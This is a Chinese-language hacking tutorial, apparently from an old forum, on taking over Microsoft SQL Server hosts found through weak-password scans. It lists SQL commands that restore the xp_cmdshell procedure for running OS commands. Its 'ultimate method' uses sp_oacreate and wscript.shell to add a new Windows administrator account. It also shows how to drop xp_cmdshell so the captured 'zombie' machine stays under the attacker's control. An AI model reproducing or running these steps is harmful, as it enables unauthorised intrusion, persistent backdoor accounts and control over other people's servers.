|
用这些命令恢复一下xp_cmdshell
开启cmdshell的SQL语句
EXEC sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’
判断存储扩展是否存在
Select count(*) from master.dbo.sysobjects where xtype=’X’ and name=’xp_cmdshell’
返回结果为1就OK
恢复xp_cmdshell
Exec master.dbo.addextendedproc ’xp_cmdshell’,’xplog70.dll’;select count(*) from master.dbo.sysobjects where xtype=’X’ and name=’xp_cmdshell’
返回结果为1就OK
否则上传xplog7.0.dll
Exec master.dbo.addextendedproc ’xp_cmdshell’,’C:\WinNt\System32\xplog70.dll’
扫到SQL弱口令后利用SQLTOOLS出现未能找到存储过程 ’master..xp_cmdshell’
这种情况的主要原因是删除了扩展存储过过程xp_cmdshell,有一个恢复的办法,如果不成功说明被改名了
使用SQLTOOLS连接,连接后在利用目录下点执行数据库命令,执行:
EXEC sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’
运气好的话就成功了,如果你想让你的肉鸡用SQL执行不了DOS命令的话,执行:
sp_dropextendedproc "xp_cmdshell"
就执行不了DOS命令了,当然用上面的语句可以复原。
用SQLTOOLS可以连接成功,执行DOS命令,却总是显示这个、、、拒绝了对对象 ’xp_cmdshell’(数据库 ’master’,所有者 ’dbo’)的 EXECUTE 权限。
怎么解决????
上传文件也不行。。。
1 未能找到存储过程’master..xpcmdshell’。
恢复方法:查询分离器连接后,
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname =’xplog70.dll’declare @o int
第二步执行:sp_addextendedproc ’xp_cmdshell’, ’xpsql70.dll’
然后按F5键命令执行完毕。
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一DLL。原因126(找不到指定模块。)
恢复方法:查询分离器连接后,
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname =’xplog70.dll’declare @o int
第二步执行:sp_addextendedproc ’xp_cmdshell’, ’xpsql70.dll’
然后按F5键命令执行完毕。
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc ’xp_cmdshell’
第二步执行:exec sp_addextendedproc ’xp_cmdshell’,’xpweb70.dll’
然后按F5键命令执行完毕。
四.终极方法:
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
查询分离器连接后,
2000servser系统:
declare @shell int exec sp_oacreate ’wscript.shell’,@shell output
exec sp_oamethod @shell,’run’,null,’c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add’
declare @shell int exec sp_oacreate ’wscript.shell’,@shell output exec sp_oamethod
@shell,’run’,null,’c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add’
xp或2003server系统:
declare @shell int exec sp_oacreate ’wscript.shell’,@shell output exec sp_oamethod
@shell,’run’,null,’c:\windows\system32\cmd.exe /c net user 新用户 密码 /add’
declare @shell int exec sp_oacreate ’wscript.shell’,@shell output exec sp_oamethod
@shell,’run’,null,’c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add’
还不行就没办法了
方法1:查询分离器连接后执行:
if exists (select * from
dbo.sysobjects where id = object_id(N’[dbo].[xp_cmdshell]’) and
OBJECTPROPERTY(id, N’IsExtendedProc’) = 1)
exec sp_dropextendedproc N’[dbo].[xp_cmdshell]’
GO
然后按F5键命令执行完毕
方法2:查询分离器连接后
第一步执行:use master
第二步执行:sp_dropextendedproc ’xp_cmdshell’ 然后按F5键命令执行完毕 |
|